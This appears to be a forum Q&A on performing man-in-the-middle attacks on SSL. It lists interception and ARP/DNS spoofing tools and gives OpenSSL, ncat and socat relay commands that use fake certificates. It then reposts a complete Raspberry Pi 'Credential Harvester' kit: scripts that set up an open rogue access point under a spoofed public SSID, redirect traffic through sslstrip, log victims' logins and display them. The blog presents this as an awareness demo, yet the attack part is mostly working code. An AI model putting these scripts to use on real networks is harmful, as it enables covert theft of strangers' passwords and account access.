What's an easy way to perform a man-in-the-middle attack on SSL?

Updated:

  • For HTTP you can use Burp Suite's proxy (Java), or mitmproxy.

  • tcpcatcher is a more general Java-based GUI capture and modify proxy which might be closer to your requirements, it includes content decoding and modification (manual and programmatic). It's HTTP biased, but accepts any TCP. It has SSL support, though the only drawback seems to be there's no (documented) way to use your own specific certificate, only on-the-fly ones. You could easily use one of the options below to work around that.

  • ettercap includes features for ARP, ICMP (redirect), DNS and DHCP "interventions", and supports direct SSL MITM (though not currently via GUI, you need to tinker with the conf and/or command line). This seems to be the best all-in-one for most purposes.
  • sslsplit is another useful CLI tool, it's (mostly) for intercept and log, not modification. It's quicker to get started with than ettercap and has features like SNI inspection, dynamic certificate generation, support for *BSD and Linux FW/NAT, and OCSP/HPKP/SPDY countermeasures for HTTPS. You still have to get the traffic to it though.

If you want quick, low tech and protocol agnostic, you can get most of the way there with just OpenSSL on a unix box:

mkfifo request response
openssl s_server -quiet -no_ssl2 -cipher AES128-SHA \
  -accept 443 -cert fake.crt -key fake.key  < response | tee -a request
openssl s_client -quiet -connect www.server.com:443 < request  | tee -a response

-quiet also enables -ign_eof which suppresses special handling of characters at the start of the line (for line-buffered input), like "Q" for quit. s_client also supports basic STARTTLS capabilities: SMTP, POP3, IMAP, FTP (auth), XMPP and TELNET (from OpenSSL-1.1).

Start each openssl in a different terminal. Replace the tee's with something scripted to modify requests and replies if needed. It's not the most robust, but it might be useful. It supports DTLS, should you require that, IPv6 support requires OpenSSL-1.1. (GnuTLS supports IPv6, and since v3.0 has DTLS support too, you can almost certainly do something similar with gnutls-serv and gnutls-cli, I haven't yet tried this though.)

ncat with its -exec option should work too:

ncat --ssl --ssl-cert fake.crt --ssl-key fake.key \
  --sh-exec "openssl s_client -quiet -connect www.server.com:443" \ 
  -kl 127.0.0.1 4443

You can just use "--exec" and wrap up your own client in a script instead. With s_client it helps performance a lot to pre-create a session file, then add -sess_in ssl.sess -sess_out ssl.sess to your invocations.

Again, if you need to script/code the MITM yourself socat is another good (and probably the most robust) option:

CERT="cert=test.crt,key=test.key,verify=0"
SSL="cipher=AES128-SHA,method=TLSv1"
socat \ 
  OPENSSL-LISTEN:4443,bind=127.0.0.1,reuseaddr,$CERT,$SSL,fork  \
  EXEC:mitm.sh

With a one-liner like openssl s_client -quiet -connect www.server.com:443 in mitm.sh to start with, works just like an inetd client.

stunnel is more proxy-like than socat, it has one big advantage that I don't see anywhere else: it supports in-protocol TLS upgrades/STARTTLS, for POP3, IMAP, SMTP and a few others in client and server modes; though LDAP and FTP are notable omissions (the latter understandably). Its inetd mode can be (ab)used just as with the "exec" options above.

For modifying generic text-based common internet protocols using these methods you might be able to get away with some sed (like a more connection friendly netsed) or light expect scripting.

The multi-protocol proxy Delegate also supports external (inetd-like) handling, and integrated scripting support for matching, filtering and rewriting for a subset of the supported protocols.

The only other things I can think of close to generic protocol agnostic MITM proxies are fuzzing tools, like proxyfuzz, or multi-protocol modular ones like backfuzz (be careful searching for that last one ;-).

Other possibly useful tools (for misdirecting traffic) include:

  • dsniff , including arpspoof
  • another arpspoof this version with IPv6 support
  • arpsend from vzctl
  • dnschef DNS proxy/server (Python)

I also came across references to Zorp several times while rummaging through my notes, non-free available in both a commercial (I have no affiliation) and a GPL version. Worth a mention, due to its claims of being a modular, extensible (by way of Python) multi-protocol firewall/gateway. TLS inspection is supported in the GPL version (SSH and others seem limited to the non-GPL version).


Here is a post from my blog involving using SSLStrip in a MITM attack with a Raspberry Pi - had to take it down as Google Blogger didn't like it, so this content is pasted from Evernote :)

As part of a security awareness demonstration, I set up my 3g Pi Wireless AP to strip SSL from secure websites and harvest the login details. You may be familiar with this in the context of MITM attacks, however as the Pi is the gateway, there is no need to ARP poison the network and the whole thing runs a bit quicker. I wanted to show how easy it would be for someone to set up wireless AP providing free internet, with the equipment hidden - maybe in a backpack - and sit in a public place grabbing login details without anyone suspecting a thing*. In the future I would like to do this while running the Pi from a battery bank.

  • The major give-away that the attack is taking place is that the navigation bar in the browser no longer shows 'https:' at the start of the URL.

A description of the scripts follows:

Menu

This script a simple menu for using the credential harvester scripts. It is copied from Jeroen Doggen's blog, and edited to suit. The highlighted parts need to be changed to the directory containing the scripts.

menu.sh

#!/bin/bash
#
# Script to perform some common system operations
#
while :
do
clear
echo "************************"
echo "* Credential Harvester *"
echo "************************"
echo "* [1] Change SSID *"
echo "* [2] Open AP *"
echo "* [3] Start SSLStrip *"
echo "* [4] Stop SSLStrip *"
echo "* [5] Secure AP *"
echo "* [6] View Credentials
echo "* [Q] Quit *"
echo "************************"
echo -n "Enter your menu choice: "

read yourch
case $yourch in
1) /home/pi/cred_harv/changeSsid.sh ;;
2) /home/pi/cred_harv/makeOpen.sh ;;
3) /home/pi/cred_harv/sslStrip.sh ;;
4) /home/pi/cred_harv/tidySslStrip.sh ;;
5) /home/pi/cred_harv/makeSecure.sh ;;
6) /home/pi/cred_harv/viewCreds.sh ;;
Q) exit 0;;
*) echo "Oopps!!! Please select choice 1,2,3 or 4";
echo "Press Enter to continue. . ." ; read ;;

esac

done

Change SSID

For the Pi credential harvester to appear believable, we need to be able to change the SSID - the name everyone sees in when they scan for available networks - to match our current environment. Sat in McDonalds? Change the SSID to 'McDonalds Free Customer Wifi' or something of that nature.

Seeing as the Pi credential harvester is headless, the easiest way to do this would be SSH in over Wifi and run a simple script.

The script will make use of the Sed command. From the Sed man page: Sed is a stream editor. A stream editor is used to perform basic text transformations on an input stream (a file or input from a pipeline).

So we should be able to replace the entry for SSID name in the hostapd.conf file by using Sed. The man page specifies that the '-i' flag is used for in-line changes - as such, live changes that don't create another copy of the file. To replace the SSID, the full command syntax would be:

sed -i 's/STRING_TO_FIND/STRING_TO_REPLACE_WITH/g' FILE

The 's' and 'g' at the beginning and end of the search and replace string define the type of search and replace to be carried outOur STRING_TO_FIND would be 'SSID=Pifi', and the STRING_TO_REPLACE would be 'SSID=McDonalds Free Customer Wifi' in this example. FILE is the /etc/hostapd.conf file, giving us the command:

sed -i 's/SSID=Pifi/McDonalds Free Customer Wifi/g' /etc/hostapd/hostapd.conf

The hostapd service needs to be restarted in order for the change to be applied:

sudo service hostapd restart

The final script I came up with gets the name of the current SSID, displays it, then prompts the user to enter the desired SSID. This is passed to 'sed' which carries out an in-line edit of hostapd.conf, and restarts the service to apply the change.

changeSsid.sh

#!/bin/bash
currentSSID=`cat /etc/hostapd/hostapd.conf | grep -P -o '(?<=ssid=)[ A-Za-z0-9]*'`
#the -o flag means print only matched
#grep rule: http://stackoverflow.com/questions/1247812/im-stuck-in-trying-to-grep-anything-just-after-name

echo Current SSID is $currentSSID
echo Desired SSID:
read x
echo 'Changing SSID'
sudo sed -i "s/ssid=$currentSSID/ssid=$x/g" /etc/hostapd/hostapd.conf
echo 'Change OK'
echo 'Restarting hostapd service'
sudo service hostapd restart

Make Network Open

makeOpen.sh

This script uses 'sed' to comment out the line in hostapd.conf which enables wpa security - this makes the AP open so everyone can joing it. The hostapd service is restarted to enable the change.

#!/bin/bash
echo 'Disabling AP secutrity (AP is now open)'
sudo sed -i 's/wpa=2/#wpa=2/g' /etc/hostapd/hostapd.conf
sudo service hostapd restart

Run SSLStrip

sslStrip.sh

This script runs SSLStrip, which 'fakes' the SSL protection from secure websites, allowing login credentials to be read in plain text. You can find more information on the SSLStrip website.

#!/bin/bash
echo "Editing Iptables and starting sslstrip"
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sudo sslstrip -p -k -w /home/pi/cred_harv/ssl.log 2> /dev/null &

Close SSLStrip

This script removes the routing rule from iptables, allowing normal browsing again. It also kills the sslstrip process.

tidySslStrip.sh

#!/bin/bash
echo "Closing SSLStrip and cleaning up iptables"
sudo iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

sudo killall sslstrip

Make Network Secure

This script uses 'sed' to re-enable the wpa line in hostapd.conf, making the AP secure again.

makeSecure.sh

#!/bin/bash
echo 'Enabling AP security (AP is now secure)'
sudo sed -i 's/#wpa=2/wpa=2/g' /etc/hostapd/hostapd.conf
sudo service hostapd restart

If you are copying and pasting these into scripts manually, remember to make them executable, using:

sudo chmod +x SCRIPT_NAME

Viewing Credentials

This script simply opens the SSLStrip log file so you can search through it for usernames and passwords - there is a lot of garbage in the file, but they are in there!

#!/bin/bash
sudo nano /home/pi/cred_harv/ssl.log

SSLStrip would probably be useful for setting up a test or demo an MITM. Its a python tool that you can use with arp spoofing to set up MiTM. It can subvert redirects from http to https. It can also be configured for use with a certificate as well so that the victim connects to you over ssl and you connect to their initial destination. There is a video on the Moxie Marlinspike page that demos some of it's uses.